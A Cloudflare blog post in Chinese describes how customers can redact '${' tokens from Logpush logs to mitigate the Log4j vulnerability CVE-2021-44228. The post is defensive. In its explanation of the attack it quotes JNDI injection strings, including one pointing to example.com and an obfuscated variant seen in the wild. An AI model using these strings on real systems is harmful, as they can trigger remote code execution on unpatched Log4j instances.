2021 年 12 月 9 日,全世界得知 CVE-2021-44228 這種零時差漏洞利用正在影響 Apache Log4j 公用程式。Cloudflare 立即更新了我們的 WAF 以協助防範這個漏洞,但是仍然建議客戶盡快更新其系統。
然而,我們知道許多 Cloudflare 客戶會透過運用 Log4j 的軟體來使用其記錄,因此我們也會透過 Cloudflare 記錄來緩解任何嘗試的漏洞利用。在撰寫此文的同時,我們已在傳送給客戶的記錄中看到漏洞利用模式,每秒高達 1000 次。
現在必須做的是,客戶可以更新其 Logpush 工作,以自動編輯可能會觸發此漏洞的權杖。您可以到我們的開發人員文件中閱讀更多相關資訊,或是參閱下列詳細資料。
攻擊的運作原理
您可以到我們的部落格文章閱讀更多有關 Log4j 漏洞運作原理的資訊。簡而言之,攻擊者可以在任何字串中加上 ${jndi:ldap://example.com/a} 等內容。然後 Log4j 就會在網際網路上進行連線以擷取此目標。
Cloudflare 記錄含有多個字串欄位是由公用網際網路的終端使用者所控制,例如使用者代理程式和 URL 路徑。在任何讀取這些欄位且使用未修補之 Log4j 執行個體的系統上,惡意使用者就可能可以運用這個漏洞造成遠端程式碼執行。
我們的緩解方案
遺憾的是,光是檢查 ${jndi:ldap 這類的權杖並不足以防範此漏洞。因為範本化語言具有表達力,所以也必須檢查是否有模糊的變體。目前我們已經在 ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} 這類的外部使用變體中看到攻擊者的蹤跡。因此,編輯 ${ 權杖是防範此漏洞最普遍的方式。
在我們目前傳送給客戶的記錄中,${ 權杖每秒出現高達 1,000 次。快速檢查部分記錄後顯示,其中有許多_並非_嘗試利用此漏洞。因此,對於可能希望在其記錄中看到此權杖的客戶,我們沒有充足的把握能在不影響他們的情況下編輯記錄。
從現在開始,客戶可以更新其 Logpush 工作以編輯在所有地方出現的 ${ 字串,並將其替換為 x{。
為此,客戶可以更新其 Logpush 工作選項設定,以便納入參數 CVE-2021-44228=true。如需有關如何使用 Logpush API 完成此動作的詳細說明,請參閱我們開發人員文件中的範例。請注意,此選項目前不適用於 Cloudflare 儀錶板,而且僅能透過 API 來修改。
在 Twitter 上討論 在 Hacker News 上討論 在 Reddit 上討論
在 Twitter 上關注
Jon Levine |@jplevine
Cloudflare |Cloudflare